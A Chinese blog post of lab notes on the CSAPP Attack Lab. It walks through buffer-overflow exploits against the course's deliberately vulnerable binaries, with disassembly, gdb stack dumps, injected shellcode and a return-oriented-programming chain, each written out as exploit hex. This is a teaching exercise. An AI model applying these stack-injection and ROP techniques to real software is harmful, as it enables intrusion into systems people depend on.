【CSAPP】Attack Lab实验笔记
attacklab这节玩的是利用一个字符串进行缓冲区溢出漏洞攻击,就小时候想象中黑客干的事儿.
做题的时候好几次感叹这些人的脑洞,"这都可以攻击?还能这么注入?这还可能借力打力?"等自己注入的时候却是"啊?怎么又段错误了?怎么又算错地址了?"也是一次有趣的经历了.
小插曲:我拿到文件的时候直接去读得readme,看完了还迷惑这readme咋就这么点信息.后来知道了实验都要配合着writeup讲义看,不禁感叹我前两个实验没看讲义还能做出来真是个奇迹!
level1
第一步先反汇编拿到ctarget的代码
0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff callq 4017a8 <getbuf>
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 retq
401991: 90 nop
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
在0x4017b9
打个断点,这时候创建了内容为This is a test str.
的文本文件in.txt,在gdb里用set args -qi in.txt
指定为输入源.让程序运行到断点,查看栈帧信息
(gdb) x/60xb 0x5561dc78
0x5561dc78: 0x54 0x68 0x69 0x73 0x20 0x69 0x73 0x20
0x5561dc80: 0x61 0x20 0x74 0x65 0x73 0x74 0x20 0x73
0x5561dc88: 0x74 0x72 0x2e 0x00 0x00 0x00 0x00 0x00
0x5561dc90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dc98: 0x00 0x60 0x58 0x55 0x00 0x00 0x00 0x00
0x5561dca0: 0x76 0x19 0x40 0x00 0x00 0x00 0x00 0x00
0x5561dca8: 0x09 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dcb0: 0x24 0x1f 0x40 0x00
(gdb) x/s 0x5561dc78
0x5561dc78: "This is a test str."
这里面的0x76 0x19 0x40
对应的就是返回地址,我们的目标就是把它修改为touch1入口的地址0x004017c0
.换成机器码就是0xc0 0x17 0x40 0x00
,注意是倒序哦.
从栈顶到要修改区域之间我用0x54
(ASCII中的'T')填充之.我创建了一个exploit.txt,内容为
54 54 54 54 54 54 54 54
54 54 54 54 54 54 54 54
54 54 54 54 54 54 54 54
54 54 54 54 54 54 54 54
54 54 54 54 54 54 54 54
c0 17 40 00 00 00 00
不要拘泥于后面那几个零.讲义里说了,多覆写几个字节不碍事
把这个文件交给hex2raw处理之
./hex2raw < exploit.txt > raw.txt
我用VSCode的hexdump插件检查了下正确性,然后把它丢进了ctarget里,测试之,正确.
./ctarget -qi raw.txt
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:54 54 ..... 54 C0 17 40 00 00 00 00
level 2
先来分析touch2的代码
void touch2(unsigned val)
{
vlevel = 2; /*Part of validation protocol*/
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
}
else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
很明显需要把cookie作为参数调用touch2,即先把cookie放入rdi,再ret.这里可把我卡住了,ret只能改rip,怎么改rdi呢?
热心网友的一句话点醒了我:先在栈帧里写好代码,再ret到栈帧的位置
我们要做的事情可以概括为
执行retq到栈帧顶
执行以下汇编代码:
mov cookie,%rdi
pushq touch2
retq
具体操作:
先在ex.s里写好汇编代码
movq $0x59b997fa,%rdi
pushq $0x4017ec
retq
先编译,再反汇编得到机器码
gcc -c ex.s
objdump -d ex.o > ex_dump.txt
ex_dump.txt:
ex.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3
gdb调试得读入字符串时栈顶地址为0x5561dc78
,根据这个地址和ex_dump.txt编写exploit.txt
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
生成raw文件,测试,通过
./hex2raw < exploit.txt > raw.txt
./ctarget -qi raw.txt
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68
EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
level 3
先来看讲义里的代码
/*Compare string to hex represention of unsigned value*/
int hexmatch(unsigned val, char*sval)
{
char cbuf[110];
/*Make position of check string unpredictable*/
char*s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char*sval)
{
vlevel = 3;
/*Part of validation protocol*/
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
}
else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
这一次我们要传入的参数是cookie对应的十六进制字符串,有趣的一点是为了防止我们直接获取s值当作参数,它加了一个random()运算.
有了第二关的经验,这关就很简单了,先仿照hexmatch求出cookie对应的十六进制字符串35 39 62 39 39 37 66 61 0
,然后把它塞到栈里,再把这个地址塞进rdi里.这里我把它塞到了0x5561dca8
ex.s:
movq $0x5561dca8,%rdi
pushq $0x4018fa
retq
exploit.txt:
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00
注意最终生成的raw文件里要避免中途出现0X0A
.
再来说我为什么要取0x5561dca8
,因为按我的汇编代码执行到touch3的时候栈顶会变成0x5561dca8
,如果在小于此地址的地方写数据在执行touch3的时候会被新压入栈的数据覆写掉
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68
FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39
62 39 39 37 66 61 00
level 4
初见fram.c的长度,我--傻--了.但冷静下来寻思,这个问题还是不难的.我们的目标可以概括为
movq $cookie,%rdi
ret touch2
而我们能用的语句只有pop,mov,nop这几种.所以要么直接把cookie传入rdi,要么借助pop间接传入rdi,即
popq %reg1
movq %reg1,%reg2
movq %reg2,%reg3
......
movq %regN,%rdi
ret touchw
借助讲义里的表格一番搜寻后发现能用的只有以下几个指令
这里只统计了movq,没统计普通mov
movq %rax,%rdi
movq %rsp,%rax
popq %rax
答案就出来了
popq rax => movq rax,rdi
剩下的就是手工算偏移,转换成十六进制了
exploit.txt:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
00
需要注意的一点是带q的操作数都是8字节的
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97
B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00
00 00
level 5
这一关就是体力活了,如讲义里所讲,这关并没有出现啥新机制,只是复杂版的level 4,不做也行.
随机栈虽然厉害,但只要通过ROP拿到了%rsp,照样是能被破解的.而上一关我们就提到了movq %rsp,%rax
,在加上还有个lea (%rdi,%rsi,1),%rax
,以及三十多个mov,所以解题思路就很明显了.
可这mov是三十多个啊!要一个个先转换出来再寻找通路,真就码农呗!我也就懒得做了.
【CSAPP】Attack Lab实验笔记的更多相关文章
- 【CSAPP】Shell Lab 实验笔记
shlab这节是要求写个支持任务(job)功能的简易shell,主要考察了linux信号机制的相关内容.难度上如果熟读了<CSAPP>的"异常控制流"一章,应该是可以不 ...
- 【CSAPP】Cache Lab 实验笔记
cachelab这节先让你实现个高速缓存模拟器,再在此基础上对矩阵转置函数进行优化,降低高速缓存不命中次数.我的感受如上一节,实在是不想研究这些犄角旮旯的优化策略了. 前期准备 我实验的时候用到了va ...
- 【CSAPP】Performance Lab 实验笔记
perflab这节的任务是利用书中知识,来对图像处理中的Rotate和Smooth操作函数进行优化.这次没对上电波,觉得学了一堆屠龙之技.于我个人理解,现在计算机配置比以前高多了,连SWAP分区都几近 ...
- 【CSAPP】Architecture Lab 实验笔记
archlab属于第四章的内容.这章讲了处理器体系结构,就CPU是怎样构成的.看到时候跃跃欲试,以为最后实验是真要去造个CPU,配套资料也是一如既往的豪华,合计四十多页的参考手册,一大包的源码和测试程 ...
- 【CSAPP】Bomb Lab实验笔记
bomblab这节搞的是二进制拆弹,可以通俗理解为利用反汇编知识找出程序的六个解锁密码. 早就听闻BOMBLAB的大名,再加上我一直觉得反汇编是个很艰难的工作,开工前我做好了打BOSS心理准备.实际上 ...
- 【CSAPP】Data Lab实验笔记
前天讲到要刚CSAPP,这一刚就是两天半.CSAPP果然够爽,自带完整的说明文档,评判程序,辅助程序.样例直接百万组走起,管饱! datalab讲的是整数和浮点数怎么用二进制表示的,考验的是用基本只用 ...
- ChCore Lab3 用户进程和异常处理 实验笔记
本文为上海交大 ipads 研究所陈海波老师等人所著的<现代操作系统:原理与实现>的课程实验(LAB)的学习笔记的第三篇:用户进程与异常处理.所有章节的笔记可在此处查看:chcore | ...
- CSAPP buffer lab记录——IA32版本
CSAPP buffer lab为深入理解计算机系统(原书第二版)的配套的缓冲区溢出实验,该实验要求利用缓冲区溢出的原理解决5个难度递增的问题,分别为smoke(level 0).fizz(level ...
- CSAPP Bomb Lab记录
记录关于CSAPP 二进制炸弹实验过程 (CSAPP配套教学网站Bomb Lab自学版本,实验地址:http://csapp.cs.cmu.edu/2e/labs.html) (个人体验:对x86汇编 ...
随机推荐
- Dubbo 配置文件是如何加载到 Spring 中的?
Spring 容器在启动的时候,会读取到 Spring 默认的一些 schema 以及 Dubbo 自 定义的 schema,每个 schema 都会对应一个自己的 NamespaceHandler, ...
- 如何通过HibernateDaoSupport将Spring和Hibernate?
用 Spring 的 SessionFactory 调用 LocalSessionFactory.集成过程分三步: 配置 the Hibernate SessionFactory. 继承 Hibern ...
- Flask-Migrate使用教程
功能:flask-migrate是flask的一个扩展模块,主要是扩展数据库表结构的. 项目准备:一个干净的Flask项目,下载连接地址: https://pan.baidu.com/s/1WqdIN ...
- 一道关于压缩包的ctf题目(包括暴力破解,明文攻击,伪加密)
关于题目附件 链接:https://pan.baidu.com/s/1PRshlizSndkgxkslnqJrHA 提取码:p76e zip三连击 下载附件得到题目 手机号码一般是11位,那么我们设置 ...
- Flink调优
第1章 资源配置调优 Flink性能调优的第一步,就是为任务分配合适的资源,在一定范围内,增加资源的分配与性能的提升是成正比的,实现了最优的资源配置后,在此基础上再考虑进行后面论述的性能调优策略. ...
- centos下用ffmpeg推流宇视科技摄像头rtsp流到前端播放(无flash)
严禁垃圾中文技术网站复制粘贴 流程:安装SRS服务接收ffmpeg的推流,SRS会提供一个flv的播放地址,前端通过fls.js播放即可,无需flash. 1.安装ffmpeg 提供两个版本,都能推流 ...
- html实体编码遇上js代码
单双引号 在js代码中 在js中单.双引号引起来的是字符串,如果我们要在字符串中使用单.双引号,需要反斜杠进行转义 let str='user\'s name'; // or let str=&quo ...
- 基于vue-cli搭了一个多页面应用的空脚手架
vue2.* (多页面跳转) @[vue2.3.3|webpack2.6.1|less|axios] 之前看过有相关朋友share了空的多页面脚手架. 不过down了几个都是webpack1.0或者v ...
- mapreduce统计单词
源代码: WordCountMapper.java: package cn.idcast.mapreduce; import org.apache.hadoop.io.LongWritable; im ...
- Python疫情爬取输出到txt文件
在网上搬了一个代码,现在不适用了,改了改 import requestsimport jsondef Down_data(): url = 'https://view.inews.qq.com/g2/ ...